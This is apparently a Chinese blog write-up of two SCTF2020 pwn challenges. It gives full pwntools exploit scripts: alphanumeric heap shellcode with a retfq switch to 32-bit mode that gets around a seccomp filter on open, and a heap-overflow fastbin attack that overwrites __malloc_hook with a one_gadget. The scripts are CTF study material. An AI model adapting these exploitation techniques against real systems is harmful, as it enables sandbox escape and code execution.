SCTF2020

0x01coolcode

解法一

16的一道pwn题，开了sandbox：

img

禁用open，但fstat函数系统调用号为5，想到利用retf控制cs修改运行模式为32位汇编（open在32位下调用号正好为5）

同时看到堆可执行：

0x1607000 0x1628000 rwxp 21000 0 [heap]

于是可以在堆上部shellcode，但输入堆的时候有check只能是数字和大写字母，且长度为0x20，因此一般的shellcode转化工具因太长无法使用，只能手撸。

能用的只能是部分xor和pop/push这样的指令，可以先构造执行read，之后的输入就没check的限制。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
sc = asm('''
                xor al,0x41
                xor byte ptr [rsi+0x48],al
                xor byte ptr [rsi+0x4b],al
                xor byte ptr [rsi+0x4c],al
                xor byte ptr [rsi+0x4a],al
                xor al,0x41
                xor al,0x53
                xor byte ptr [rsi+0x48],al
                push rbx
                push rbx
                pop rax
        ''')
        sc += 'M2WND'

利用xor和’M2WND’构造出syscall执行read(0,堆地址,size)

ruan师傅imgimg

哦对了，跳到堆上执行的方法是利用idx为负数（-24）改write的got为堆地址，利用show()函数触发到堆上执行，之后执行了一次read会便可持续往下部署sellcode但要把控好距离。具体看脚本+调试：

read（用于之后的shellcode写入）->mmap（申请映射空间用于读入flag）->open（利用retfq控制程序跳到映射空间执行32为汇编）->read->write

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
from pwn import *
context.log_level='debug'
context.arch='amd64'
DEBUG=1
if DEBUG:
	p=process("./CoolCode")

def cmd(command):
	p.recvuntil(" :")
	p.sendline(str(command))

def add(idx,content):
	cmd(1)
	p.recvuntil(": ")
	p.sendline(str(idx))
	p.recvuntil(": ")
	p.send(content)

def dele(idx):
	cmd(3)
	p.recvuntil(": ")
	p.sendline(str(idx))

def show(idx):
	cmd(2)
        p.recvuntil(": ")
        p.sendline(str(idx))

def pwn():
	gdb.attach(p)
	add(0,'O'*0x20)
	add(1,'O'*0x20)
	sc = asm('''
		xor al,0x41
		xor byte ptr [rsi+0x48],al
		xor byte ptr [rsi+0x4b],al
		xor byte ptr [rsi+0x4c],al
		xor byte ptr [rsi+0x4a],al
		xor al,0x41
		xor al,0x53
		xor byte ptr [rsi+0x48],al
		push rbx
		push rbx
		pop rax
	''')
	sc += 'M2WND'
	add(-34,sc)
#	gdb.attach(p)
	show(1)
	#read()
	sc = asm('''
		push r11
		pop rdx
		xor rax,rax
		syscall
	''')
	p.send("A"*0x4d+'\x90'*3+sc)
	pause()
	# mmap 0xcafe000  mmap(0xcafe000,0x1000,7,34,0,0)
	sc = asm('''
		mov edi,0xcafe000
		xor rsi,rsi
		mov esi,0x1000
		xor rdx,rdx
		xor dl,7
		push 0x22
		pop r10
		xor r8,r8
		dec r8
		xor rax,rax
		mov eax,9
		syscall
	''')
	# read(0,0xcafe000,0x100)
	sc += asm('''
		mov rsp,0xcafe200
		xor rdi,rdi
		xor rsi,rsi
		mov esi,0xcafe000
		xor rdx,rdx
		mov edx,0x1000
		xor rax,rax
		syscall
		retfq
	''')
	pause()
	#gdb.attach(p)
	p.send("A"*0x58+'\x90'*2+sc)
	# open(flag) and 'add esp,8' and 'retf'
	sc = 'h\x01\x01\x01\x01\x814$`f\x01\x01h./fl\x89\xe31\xc91\xd2j\x05X\xcd\x80'+'\x83\xc4\x08'+'\xcb'
	sc = sc.ljust(0x80,"\x90")
	#read+write
	sc += asm('''
		mov rdi,rax
		mov rsi,0xcafe400
		mov rdx,0x100
		xor rax,rax
		syscall
		mov rdi,1
		xor rax,rax
		inc rax
		syscall
	''')
	sc = sc.ljust(0x200,"\x90")
	sc += p64(0xcafe000)+p64(0x23)+p32(0xcafe080)+p32(0x33)
	gdb.attach(p)
	p.send(sc)
	#gdb.attach(p)
	pause()
	p.interactive()

if __name__ == "__main__":
	pwn()

解法二：

这次我们先覆盖exit的got表为ret来绕过check,这样我们就可以直接在堆上写shellcode，然后覆盖free的got表，利用dele触发shellcode。

shellcode的编写过程就是先执行read将之后的shellcode读到bss段，之后retfq切换32位汇编并跳到bss上继续执行open_x86的操作，最后read and write读出flag。

要注意的几点：

open函数的参数传递：

eax = 0x05 系统调用号、ebx = filename 文件名、ecx = flags 置零即可、edx = mode 置零即可。

然后就是再构造文件名’flag’的时候由于是32的模式，要注意错位的问题。

还有就是注意理解retfq执行的操作为pop rip，pop cs（cs = 0x23代表32位模式，cs = 0x33代表64位模式），所以要注意栈中的参数位置。retfq跳转过去的时候程序已经切换成了32位模式，要注意平衡好esp的地址

最后还得回到64位模式下调用，再调用一次retfq。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from pwn import *
context.log_level='debug'
#context.arch='amd64'
DEBUG=1
if DEBUG:
	p=process("./CoolCode")

def cmd(command):
	p.recvuntil(" :")
	p.sendline(str(command))

def add(idx,content):
	cmd(1)
	p.recvuntil(": ")
	p.sendline(str(idx))
	p.recvuntil(": ")
	p.send(content)

def dele(idx):
	cmd(3)
	p.recvuntil(": ")
	p.sendline(str(idx))

def show(idx):
	cmd(2)
        p.recvuntil(": ")
        p.sendline(str(idx))

def pwn():
	read = '''
		xor eax,eax
		mov edi,eax
		push 0x60
		mov esi,0x1010101
		xor esi,0x1612601
		syscall
		mov esp,esi
		retfq
	'''
	open_x86 = '''
		push 0x33
		push 0x67616c66
		push esp
		pop ebx
		xor ecx,ecx
		mov eax,5
		int 0x80
	'''
	read_flag = '''
		push 0x33
		push 0x60272b
		retfq
		mov rdi,0x3
		mov rsi,rsp
		mov rdx,0x60
		xor rax,rax
		syscall
		mov rdi,1
		mov rax,1
		syscall
	'''
	readflag=asm(read_flag,arch='amd64')
	add(-22,'\xc3')
	add(-37,asm(read,arch='amd64'))
	#gdb.attach(p)

	dele(0)
	payload=p64(0x602710)+p64(0x23)+asm(open_x86)+readflag
	gdb.attach(p)
	p.sendline(payload)

	p.interactive()

if __name__ == "__main__":
	pwn()

0x02 snake

程序是是一个贪吃蛇，当蛇死后的leave words存在堆溢出，正好可以伪造下一个堆的size。

利用思路：

首先既然可以伪造size就想办法构造overlap，先将存放name的chunk0删除，申请新的chunk0大小为0x68（为之后的fastbin attack）准备。

之后利用scanf输入很长的字符串触发malloc_consolidate()作用为：

1、检查fastbin是否初始化，如果未初始化，则进行初始化。

2、如果fastbin初始化，则按照一定的顺序合并fastbin中的chunk放入unsorted bin中

这样一来放入unsorted bin的堆内就存在执行main_arena的指针，然后将它申请回来利用get_name+restart泄露libc

之后再leave words时候修改chunk1（也就是最开始的chunk0）的size为0x91，造成chunk0和chunk1的overlop。

最后fastbin attack改malloc_hook到one_gadget拿shell。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from pwn import *
context.log_level='debug'
DEBUG=1
if DEBUG:
	p=process("./snake")
	libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")


def cmd(command):
	p.recvuntil("4.start name")
	p.sendline(str(command))

def add(idx,sz,content):
	cmd(1)
	p.recvuntil("index?")
	p.sendline(str(idx))
	p.recvuntil("long?")
	p.sendline(str(sz))
	p.recvuntil("name?")
	p.send(content)

def dele(idx):
	cmd(2)
	p.recvuntil("index?")
	p.sendline(str(idx))

def get(idx):
	cmd(3)
	p.recvuntil("index?")
	p.sendline(str(idx))

def pwn():
	p.recvuntil("how long?")
	p.sendline(str(0x30))
	p.recvuntil("name")
	p.send("asdasdasd")
	p.recvuntil("join")
	p.sendline("")
	pause()
	p.send("s"*0x23)
	p.recvuntil("words:")
	p.send("A"*0x20)
	p.recvuntil("exit?")
	p.send('n')
	#gdb.attach(p)
	dele(0)
	add(0,0x68,(p64(0)+p64(0x21))*6)
	cmd(2)
	p.recvuntil("index?")
	p.sendline("1"*0x400)
	add(1,0x30,"7")
	#gdb.attach(p)
	get(1)
	cmd(4)
	pause()
	p.send("s"*0x23)
	p.recvuntil("player name: ")
	libc.address = u64(p.recv(6)+'\x00\x00') - 0x3c4b37
	#gdb.attach(p)
	p.recvuntil("words:")
	p.send("\x00"*0x4c+'\x91')
	info("libc : " + hex(libc.address))
	#gdb.attach(p)
	p.recvuntil("exit?")
	p.send('n')
	dele(1)
	dele(0)
#	gdb.attach(p)
	add(0,0x50,"\x00"*0x38+p64(0x71)+p64(libc.symbols["__malloc_hook"]-0x23))
	gdb.attach(p)
	add(0,0x68,'a')
	payload = "\x00"*0xb+p64(libc.address+0xf02a4)*2
	add(1,0x68,payload)
	dele(1)
	#gdb.attach(p)
	p.interactive()


if __name__ =='__main__':
	pwn()

赏

谢谢你请我吃糖果

扫一扫，分享到微信

微信分享二维码
本站总访问量次 |

tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true

Pwner<br>CTF is a part of my life.<br>